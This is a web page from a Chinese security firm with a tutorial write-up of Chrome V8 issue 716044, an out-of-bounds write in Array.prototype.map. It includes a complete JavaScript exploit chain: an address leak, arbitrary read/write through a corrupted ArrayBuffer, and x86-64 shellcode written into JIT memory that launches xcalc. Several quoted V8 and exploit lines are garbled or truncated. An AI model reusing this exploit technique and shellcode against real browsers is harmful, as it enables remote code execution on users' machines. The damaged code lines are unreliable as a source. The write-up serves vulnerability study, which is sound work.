网站导航

新闻资讯

当前位置:首页 > 新闻资讯

Chrome-V8-Issue-716044

发布时间:2021-08-11

简要描述:

介绍v8的oob很适合作为入门的漏洞,本漏洞是由于js中的内置函数map,在c++中新增使用类汇编的方式实现map(CodeStubAssembler),这一改动所产生的漏洞关于CodeStubAssembler的更多...

详细介绍

介绍

v8的oob很适合作为入门的漏洞,本漏洞是由于js中的内置函数map,在c++中新增使用类汇编的方式实现map(CodeStubAssembler),这一改动所产生的漏洞

关于CodeStubAssembler的更多内容可以看 

namespace v8 {
namespace internal {
class ArrayBuiltinCodeStubAssembler : public CodeStubAssembler {
    [...]
  void GenerateIteratingArrayBuiltinBody(
      const char* name, const BuiltinResultGenerator
[ ... ]
    // 1. Let O be ToObject(this value).
    // 2. ReturnIfAbrupt(O)

    o_ = CallStub(CodeFactory::ToObject(isolate()), context(), receiver());//【1】
    // 3. Let len be ToLength(Get(O, "length")).
    // 4. ReturnIfAbrupt(len).
    VARIABLE(merged_length, MachineRepresentation::kTagged);
    Label has_length(this, 
    GotoIf(DoesntHaveInstanceType(o(), JS_ARRAY_TYPE), ¬_js_array);
    merged_length.Bind(LoadJSArrayLength(o()));  //【2.1】
    Goto(
    BIND(¬_js_array);
    Node* len_property =
        GetProperty(context(), o(), isolate()->factory()->length_string());
    merged_length.Bind(
        CallStub(CodeFactory::ToLength(isolate()), context(), len_property));
    Goto(
    BIND(
    len_ = merged_length.value();               //【2.2】
[ ... ]
    a_.Bind(generator(this));                    //【3】
    HandleFastElements(processor, action, 
[ ... ]

• o_就是this指针的值

• len_是o_的length

• a_是保存map结果的array

• HandleFastElements 执行map的操作,对o_的每个元素都调用一次processor然后把结果写入a_

看下generator 对应的函数

Node* MapResultGenerator() {
    // 5. Let A be ? ArraySpeciesCreate(O, len).
    return ArraySpeciesCreate(context(), o(), len_);
  }
======================================================
  Node* CodeStubAssembler::ArraySpeciesCreate(Node* context, Node* originalArray,
                                            Node* len) {
    // TODO(mvstanton): Install a fast path as well, which avoids the runtime
    // call.
    Node* constructor =
        CallRuntime(Runtime::kArraySpeciesConstructor, context, originalArray);
    return ConstructJS(CodeFactory::Construct(isolate()), context, constructor,
                       len);
  }

其中,ConstructJS的参数constructor 是通过Array[@@species]得到的,上面也提了,The Array[@@species] accessor property returns the Array constructor.

具体看这里

我们可以通过定义自己的Array type覆写construct

上面说的v8中有对应的判断新生成的数组长度的操作(其实还是以上漏洞点的引入使得检查不够完善)

BranchIfFastJSArray(a(), context(), FastJSArrayAccessMode::ANY_ACCESS,
                        
    BIND(
    {
      kind = EnsureArrayPushable(a(), 
      elements = LoadElements(a());
      GotoIf(IsElementsKindGreaterThan(kind, FAST_HOLEY_SMI_ELEMENTS),
             
      TryStoreArrayElement(FAST_SMI_ELEMENTS, mode, 
      Goto(
    }

我们走fast,可以跳过BranchIfFastJSArray 检查,然后就可以越界写了

具体如何通过map修改array的长度,直接看exp中注释

布局

关于对象在v8中的存储方式可以看这里奇技淫巧学 V8 之二,对象在 V8 内的表达

以下来自Exploiting a V8 OOB write

================================================================================
|a_ BuggyArray (0x80) | a_ FixedArray (0x18) | oob_rw JSArray (0x30)           |
--------------------------------------------------------------------------------
|oob_rw FixedDoubleArray (0x20) | leak JSArray (0x30) | leak FixedArray (0x18) |
--------------------------------------------------------------------------------
|arb_rw ArrayBuffer |
================================================================================

对应的

var code = function() {
  return 1;
}
code();
class BuggyArray extends Array {
  constructor(len) {
    super(1);
    oob_rw = new Array(1.1, 1.1);//浮点数是FixedDoubleArray,改oobrw的length,泄露下面的leak,以及修改arb_rw的backing store pointer去任意读写
    leak = new Array(code);      //用来leak出函数地址,用来写入shellcode
    arb_rw = new ArrayBuffer(4);//buffer
  }
};  //看过v8中的对象布局后,对照这里定义看上面的排布图

思路

• 通过越界读,修改length构造出任意读写

• 覆写JIT page上的一部分代码,也即写入shellcode

• 调用对应函数执行shellcode

通过function其中的CodeEntry找到JIT区域,然后写入shellcode,我们先得到code函数的地址

var js_function_addr = oob_rw[10];  // JSFunction for code() in the `leak` FixedArray.

其余内容都在exp的注释里

exp

// v8 exploit for https://crbug.com/716044
var oob_rw = null;
var leak = null;
var arb_rw = null;
var code = function() {
  return 1;
}
code();
class BuggyArray extends Array {
  constructor(len) {
    super(1);
    oob_rw = new Array(1.1, 1.1);  //浮点数是FixedDoubleArray
    leak = new Array(code);           //用来leak出函数地址,用来写入shellcode
    arb_rw = new ArrayBuffer(4);   //buffer
  }
};
//https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/@@species
class MyArray extends Array {
  static get [Symbol.species]() {
    return BuggyArray;
  }
}
//格式转换,不懂可以看上面的入门文章
var convert_buf = new ArrayBuffer(8);
var float64 = new Float64Array(convert_buf);
var uint8 = new Uint8Array(convert_buf);
var uint32 = new Uint32Array(convert_buf);
function Uint64Add(dbl, to_add_int) {
  float64[0] = dbl;
  var lower_add = uint32[0] + to_add_int;
  if (lower_add > 0xffffffff) {
    lower_add 
    uint32[1] += 1;
  }
  uint32[0] = lower_add;
  return float64[0];
}
// Memory layout looks like this:
// ================================================================================
// |a_ BuggyArray (0x80) | a_ FixedArray (0x18) | oob_rw JSArray (0x30)           |
// --------------------------------------------------------------------------------
// |oob_rw FixedDoubleArray (0x20) | leak JSArray (0x30) | leak FixedArray (0x18) |
// --------------------------------------------------------------------------------
// |arb_rw ArrayBuffer |
// ================================================================================
var myarray = new MyArray();
//%DebugPrint(myarray);
myarray.length = 9;
myarray[4] = 42;
myarray[8] = 42;
//%SystemBreak();
//修改oob_rw的length,从上方截图可以看到
myarray.map(function(x) { return 1000000; });
//%SystemBreak();
//oob read to get func addr, and we can write it to shellcode
//对于oob_rw偏移为10处是leak,得到地址
var js_function_addr = oob_rw[10];  // JSFunction for code()
// Set arb_rw's kByteLengthOffset to something big.
uint32[0] = 0;
uint32[1] = 1000000;
oob_rw[14] = float64[0];
// Set arb_rw's kBackingStoreOffset to
// js_function_addr + JSFunction::kCodeEntryOffset - 1
// (to get rid of Object tag)
oob_rw[15] = Uint64Add(js_function_addr, 56-1);
//%SystemBreak();
//convert to float
var js_function_uint32 = new Uint32Array(arb_rw);
uint32[0] = js_function_uint32[0];
uint32[1] = js_function_uint32[1];
oob_rw[15] = Uint64Add(float64[0], 128); // 128 = code header size
//%SystemBreak();
//write shellcode
// pop /usr/bin/xcalc
var shellcode = new Uint32Array(arb_rw);
shellcode[0] = 0x90909090;
shellcode[1] = 0x90909090;
shellcode[2] = 0x782fb848;
shellcode[3] = 0x636c6163;  //xcalc
shellcode[4] = 0x48500000;
shellcode[5] = 0x73752fb8;
shellcode[6] = 0x69622f72;
shellcode[7] = 0x8948506e;
shellcode[8] = 0xc03148e7;
shellcode[9] = 0x89485750;
shellcode[10] = 0xd23148e6;
shellcode[11] = 0x3ac0c748;
shellcode[12] = 0x50000030;  //我改为了0x50000031
shellcode[13] = 0x4944b848;
shellcode[14] = 0x414c5053;
shellcode[15] = 0x48503d59;
shellcode[16] = 0x3148e289;
shellcode[17] = 0x485250c0;
shellcode[18] = 0xc748e289;
shellcode[19] = 0x00003bc0;
shellcode[20] = 0x050f00;
//execute shellcode
code();

shellcode

0:   90                      nop
   1:   90                      nop
   2:   90                      nop
   3:   90                      nop #(省略四个nop)
   4:   48 b8 2f 78 63 61 6c    movabs rax, 0x636c6163782f #/xcalc
   b:   63 00 00 
   e:   50                      push   rax
   f:   48 b8 2f 75 73 72 2f    movabs rax, 0x6e69622f7273752f #/usr/bin
  16:   62 69 6e 
  19:   50                      push   rax
  1a:   48 89 e7                mov    rdi, rsp
  1d:   48 31 c0                xor    rax, rax
  20:   50                      push   rax
  21:   57                      push   rdi
  22:   48 89 e6                mov    rsi, rsp
  25:   48 31 d2                xor    rdx, rdx
  28:   48 c7 c0 3a 30 00 00    mov    rax, 0x303a # :0  改为->0x313a
  2f:   50                      push   rax
  30:   48 b8 44 49 53 50 4c    movabs rax, 0x3d59414c50534944
  37:   41 59 3d 
  3a:   50                      push   rax
  3b:   48 89 e2                mov    rdx, rsp
  3e:   48 31 c0                xor    rax, rax
  41:   50                      push   rax
  42:   52                      push   rdx
  43:   48 89 e2                mov    rdx, rsp
  46:   48 c7 c0 3b 00 00 00    mov    rax, 0x3b
  4d:   0f 05                   syscall

参考

716044 - V8: OOB write in Array.prototype.map builtin - chromium

Exploiting a V8 OOB write. (halbecaf.com)

 


推荐产品

如果您有任何问题,请跟我们联系!

联系我们

Copyright © 武汉网盾科技有限公司 版权所有 备案号:鄂ICP备2023003462号-5

地址:武汉市东湖高新区光谷大道光谷世贸中心A栋23楼

在线客服 联系方式 二维码

服务热线

18696195380/18672920250

扫一扫,关注我们

关闭